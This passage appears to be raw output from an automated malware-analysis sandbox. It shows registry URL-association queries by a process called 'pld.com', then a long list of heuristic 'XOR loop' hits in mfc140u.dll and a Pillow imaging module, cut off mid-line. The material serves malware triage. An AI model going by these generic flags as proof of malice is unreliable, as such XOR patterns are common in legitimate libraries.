"QUERYVAL"; Path: "HKCU\SOFTWARE\REGISTEREDAPPLICATIONS") "pld.com" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWSNOTEPAD_11.2312.18.0_X64__8WEKYB3D8BBWE\APP\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWSNOTEPAD_11.2312.18.0_X64__8WEKYB3D8BBWE\APP\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.PAINT_11.2403.28.0_X64__8WEKYB3D8BBWE\APP\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.PAINT_11.2403.28.0_X64__8WEKYB3D8BBWE\APP\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.ZUNEMUSIC_11.2403.5.0_X64__8WEKYB3D8BBWE\MICROSOFT.ZUNEMUSIC\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.ZUNEMUSIC_11.2403.5.0_X64__8WEKYB3D8BBWE\MICROSOFT.ZUNEMUSIC\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWSSOUNDRECORDER_1.0.71.0_X64__8WEKYB3D8BBWE\APP\CAPABILITIES\URLASSOCIATIONS")2e:Tb499,Found XOR loop in file "mfc140u.dll" at offset 1512324; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 2694965; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3012262; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3024632; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3032357; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3327608; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3373568; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3391800; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3868528; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3879060; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3881312; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 3891404; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4067188; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4107652; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4302062; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4462065; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4529748; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4637041; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4689776; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4696120; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4744148; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4758983; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4852658; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4854130; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 4946548; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 5057113; code bytes = 30d0 Found XOR loop in file "mfc140u.dll" at offset 713161; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 1970090; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 1970934; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 1979085; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 2018752; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 2019245; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 2023579; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 2023583; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 2908031; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 2920601; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4264612; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4269653; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4279245; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4293647; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4297660; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4319949; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4382324; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4392010; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4417651; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4517735; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4530220; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4606067; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4744620; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4757211; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4815403; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4934831; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4947020; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 5026139; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 5133768; code bytes = 33c1 Found XOR loop in file "mfc140u.dll" at offset 4793180; code bytes = 30040e Found XOR loop in file "mfc140u.dll" at offset 36301; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 40008; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 59626; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 76356; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 84042; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 84473; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 89291; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 95375; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 96742; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 119121; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 119169; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 119216; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 119563; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 119594; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 124268; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 124319; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 124447; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 132518; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 135813; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 136056; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 137555; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 141304; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 161505; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 161601; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 168333; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 198838; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 266823; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 273067; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 280905; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 302954; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 305435; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 305528; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 305582; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 317934; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 327115; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 332529; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 350940; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 387003; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 409627; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 409722; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 415193; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 423142; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 427169; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 431688; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 439177; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 439758; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 440021; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 488397; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 534376; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 554353; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 561071; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 562425; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 570561; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 571248; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 571535; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 582413; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 584943; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 588922; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 589072; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 612550; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 613847; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 646830; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 651079; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 665813; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 665960; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 668076; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 668164; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 677187; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 716341; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 716473; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 716817; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 721462; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 726171; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 733381; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 744579; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 749708; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 774247; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 784710; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 788907; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 792200; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 794574; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 796740; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 819066; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 828419; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 830399; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 844306; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 887122; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 907601; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 909709; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 922430; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 930231; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 931635; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 932798; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 933714; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 937885; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 946265; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 947722; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 964207; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 975610; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 997028; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 998175; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1026139; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1044795; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1048004; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1104366; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1132274; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1137106; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1140760; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1150500; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1164567; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1165362; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1177865; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1186584; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1187639; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1209084; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1209845; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1209916; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1210425; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1220444; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1222057; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1222220; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1224646; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1229384; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1230763; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1231407; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1283621; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1285691; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1286657; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1286914; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1287258; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1289910; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1290009; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1293083; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1295559; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1302121; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1302169; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1309498; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1309897; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1315036; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1315266; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1317362; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1317798; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1324034; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1399687; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1401713; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1402859; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1405469; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1405719; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1406316; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1406809; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1406908; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1407006; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1407193; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1411273; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1411483; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1417890; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1420428; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1426953; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1428268; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1429973; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1440219; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1559541; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1560547; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1577981; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1610733; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1630036; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1630975; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1660350; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1661029; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1685036; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1687459; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1764938; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1765363; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1766507; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1767044; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1767275; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1767837; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1791836; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1800393; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1801645; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1832798; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1849256; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1892365; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1892489; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1895237; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1896934; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1900994; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1901026; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1901058; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1961080; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1961916; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1964356; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1969846; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1974404; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 1993427; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2012739; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2023042; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2025672; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2032050; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2044304; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2091837; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2091983; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2168529; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2172252; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2185530; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2195566; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2209935; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2229585; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2230044; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2234844; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2253862; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2254310; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2276791; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2360532; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2380119; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2380176; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2380214; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2380252; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2380291; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2380329; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2390694; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2415618; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2439611; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2445052; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2488779; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2509729; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2563047; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2568956; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2569492; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2569702; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2585609; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2636500; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2637456; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2658817; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2663179; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2663291; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2663364; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2663468; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2663623; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2665189; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2671620; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2679377; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2683770; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2683875; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2701425; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2735066; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2797776; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2799205; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2799562; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2801241; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2801297; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2838273; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2838424; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2846383; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2855080; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2861835; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2861996; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2909908; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2946393; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 2946551; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3005837; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3023322; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3041777; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3287160; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3371160; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3698981; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3787291; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3799373; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3824183; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3849943; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3864940; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3875028; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 3934295; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4053244; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4089404; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4089412; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4090320; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4126468; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4134699; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4134955; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4135211; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4135467; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4135723; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4135979; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4136235; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4136491; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4136747; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4136775; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4137003; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4137259; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4137515; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4137771; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4137895; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4138027; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4138283; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4138539; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4138795; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4139415; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4266764; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4365630; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4439651; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4569038; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4579093; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4698044; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4699999; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4780148; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4887060; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4987182; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 4999165; code bytes = 8030 Found XOR loop in file "mfc140u.dll" at offset 5098911; code bytes = 8030 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 256042; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 295477; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 460193; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 567538; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 928369; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1016675; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1017222; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1032769; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1033076; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1347276; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1370960; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1370976; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1371324; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at 